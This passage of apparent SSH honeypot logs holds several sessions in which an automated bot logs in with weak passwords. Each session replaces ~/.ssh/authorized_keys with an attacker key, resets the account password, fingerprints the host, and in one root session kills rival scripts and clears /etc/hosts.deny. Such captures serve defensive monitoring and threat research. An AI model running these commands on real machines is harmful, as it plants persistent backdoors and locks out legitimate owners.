-l"},{"seq":20,"at":"2026-08-27T04:17:16.604415+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T04:17:16.917732+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T04:17:16.918354+00:00","kind":"output","latency_ms":null,"data":"top - 04:17:16 up 7 days, 1:07, 0 user, load average: 0.09, 0.08, 0.07\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T04:17:17.234535+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T04:17:17.235098+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T04:17:17.549815+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T04:17:17.550622+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T04:17:17.863689+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T04:17:17.864046+00:00","kind":"output","latency_ms":null,"data":"ray"},{"seq":29,"at":"2026-08-27T04:17:18.178774+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T04:17:18.755336+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T04:17:19.073291+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T04:17:19.581451+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ray","password":"ray","method":"password","accepted":true,"tier":"other"}]} {"id":"57c97805-7534-4b14-b1d7-46f7c0a8c358","name":"deft-plush-seal","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":53642,"username":"ts","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":565,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T02:42:38.067078+00:00","ended_at":"2026-08-27T02:42:39.177391+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2239,"events":[{"seq":1,"at":"2026-08-27T02:42:09.049592+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T02:42:09.615929+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T02:42:18.821376+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T02:42:19.624054+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T02:42:20.190107+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1\\nRiiVTKUAgjNb\\nRiiVTKUAgjNb\"|passwd|bash"},{"seq":6,"at":"2026-08-27T02:42:20.751399+00:00","kind":"input","latency_ms":null,"data":"echo \"1\\nRiiVTKUAgjNb\\nRiiVTKUAgjNb\\n\"|passwd"},{"seq":7,"at":"2026-08-27T02:42:21.311404+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T02:42:21.737863+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T02:42:22.297786+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T02:42:23.671584+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T02:42:24.237525+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T02:42:25.507481+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T02:42:26.074850+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T02:42:26.933470+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T02:42:27.515695+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T02:42:28.211086+00:00","kind":"output","latency_ms":null,"data":" 02:42:28 up 6 days, 23:32, 0 user, load average: 0.23, 0.16, 0.23\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T02:42:28.774752+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T02:42:29.618394+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T02:42:30.185619+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T02:42:30.715666+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T02:42:31.275794+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T02:42:32.031767+00:00","kind":"output","latency_ms":null,"data":"top - 02:42:32 up 6 days, 23:32, 0 user, load average: 0.23, 0.16, 0.23\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9373 free, 6514 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T02:42:32.594178+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T02:42:33.112540+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T02:42:33.675704+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T02:42:34.202154+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T02:42:34.768282+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T02:42:35.632602+00:00","kind":"output","latency_ms":null,"data":"ts"},{"seq":29,"at":"2026-08-27T02:42:36.195493+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T02:42:37.502481+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T02:42:38.067801+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T02:42:39.001094+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ts","password":"1","method":"password","accepted":true,"tier":"other"}]} {"id":"7f5a4ba8-4925-4947-9c9d-397140e25ac5","name":"steady-gilded-civet","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":60868,"username":"zyx","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":556,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T02:39:29.692683+00:00","ended_at":"2026-08-27T02:39:31.389472+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2250,"events":[{"seq":1,"at":"2026-08-27T02:39:05.582462+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T02:39:06.152387+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T02:39:16.156333+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T02:39:16.156815+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T02:39:16.714436+00:00","kind":"input","latency_ms":null,"data":"echo -e \"zyx123\\nKoMut4DBlnRJ\\nKoMut4DBlnRJ\"|passwd|bash"},{"seq":6,"at":"2026-08-27T02:39:17.286637+00:00","kind":"input","latency_ms":null,"data":"echo \"zyx123\\nKoMut4DBlnRJ\\nKoMut4DBlnRJ\\n\"|passwd"},{"seq":7,"at":"2026-08-27T02:39:17.833426+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T02:39:17.833907+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T02:39:18.381415+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T02:39:18.927704+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T02:39:19.486215+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T02:39:20.197924+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T02:39:20.763965+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T02:39:20.764406+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T02:39:21.318147+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T02:39:21.318945+00:00","kind":"output","latency_ms":null,"data":" 02:39:21 up 6 days, 23:29, 0 user, load average: 0.17, 0.13, 0.14\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T02:39:21.870137+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T02:39:21.870535+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T02:39:22.431351+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T02:39:22.444094+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T02:39:22.976428+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T02:39:23.833676+00:00","kind":"output","latency_ms":null,"data":"top - 02:39:23 up 6 days, 23:29, 0 user, load average: 0.17, 0.13, 0.14\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T02:39:24.393703+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T02:39:24.693443+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T02:39:25.258557+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T02:39:26.033163+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T02:39:26.590721+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T02:39:27.092187+00:00","kind":"output","latency_ms":null,"data":"zyx"},{"seq":29,"at":"2026-08-27T02:39:27.639281+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T02:39:29.147100+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T02:39:29.693387+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T02:39:31.218487+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"zyx","password":"zyx123","method":"password","accepted":true,"tier":"other"}]} {"id":"e95adf91-7feb-45ba-9937-2e0111842b51","name":"courtly-cosmic-tern","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":49170,"username":"ac","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":532,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T02:36:22.796549+00:00","ended_at":"2026-08-27T02:36:23.539081+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2239,"events":[{"seq":1,"at":"2026-08-27T02:36:05.825068+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T02:36:06.410127+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T02:36:12.919026+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T02:36:12.919533+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T02:36:13.454240+00:00","kind":"input","latency_ms":null,"data":"echo -e \"ac\\nDsh31omDnoYj\\nDsh31omDnoYj\"|passwd|bash"},{"seq":6,"at":"2026-08-27T02:36:13.984312+00:00","kind":"input","latency_ms":null,"data":"echo \"ac\\nDsh31omDnoYj\\nDsh31omDnoYj\\n\"|passwd"},{"seq":7,"at":"2026-08-27T02:36:14.509654+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T02:36:14.510223+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T02:36:15.038234+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T02:36:15.625823+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T02:36:16.157616+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T02:36:16.712413+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T02:36:17.250419+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T02:36:17.250717+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T02:36:17.791088+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T02:36:17.791882+00:00","kind":"output","latency_ms":null,"data":" 02:36:17 up 6 days, 23:26, 0 user, load average: 0.33, 0.4, 0.27\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T02:36:18.317075+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T02:36:18.317617+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T02:36:18.844846+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T02:36:18.845674+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T02:36:19.375401+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T02:36:19.376476+00:00","kind":"output","latency_ms":null,"data":"top - 02:36:19 up 6 days, 23:26, 0 user, load average: 0.33, 0.4, 0.27\nTasks: 116 total, 1 running, 115 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T02:36:19.908199+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T02:36:19.909539+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T02:36:20.447219+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T02:36:20.447850+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T02:36:20.985905+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T02:36:20.986713+00:00","kind":"output","latency_ms":null,"data":"ac"},{"seq":29,"at":"2026-08-27T02:36:21.516765+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T02:36:22.042212+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T02:36:22.797218+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T02:36:23.372254+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ac","password":"ac","method":"password","accepted":true,"tier":"other"}]} {"id":"644ae93a-a02a-41b5-8337-394ddc6f16f0","name":"russet-courtly-jackdaw","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":49912,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":547,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T02:33:20.602582+00:00","ended_at":"2026-08-27T02:33:21.281889+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T02:33:00.494335+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T02:33:01.290036+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T02:33:09.967416+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T02:33:09.968803+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T02:33:10.796912+00:00","kind":"input","latency_ms":null,"data":"echo \"root:wzLBzI3Cqs2R\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T02:33:11.341464+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T02:33:11.897435+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T02:33:11.897740+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T02:33:12.446100+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T02:33:13.003407+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T02:33:13.571370+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T02:33:14.179158+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T02:33:14.727204+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T02:33:14.727622+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T02:33:15.308708+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T02:33:15.310452+00:00","kind":"output","latency_ms":null,"data":" 02:33:15 up 6 days, 23:23, 0 user, load average: 0.33, 0.42, 0.36\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T02:33:15.881090+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T02:33:15.881808+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T02:33:16.455115+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T02:33:16.455592+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T02:33:16.995452+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T02:33:16.995861+00:00","kind":"output","latency_ms":null,"data":"top - 02:33:16 up 6 days, 23:23, 0 user, load average: 0.33, 0.42, 0.36\nTasks: 128 total, 1 running, 127 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8420 free, 7467 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T02:33:17.541278+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T02:33:17.541631+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T02:33:18.088696+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T02:33:18.089660+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T02:33:18.636291+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T02:33:18.650753+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T02:33:19.181405+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T02:33:20.058358+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T02:33:20.604247+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print 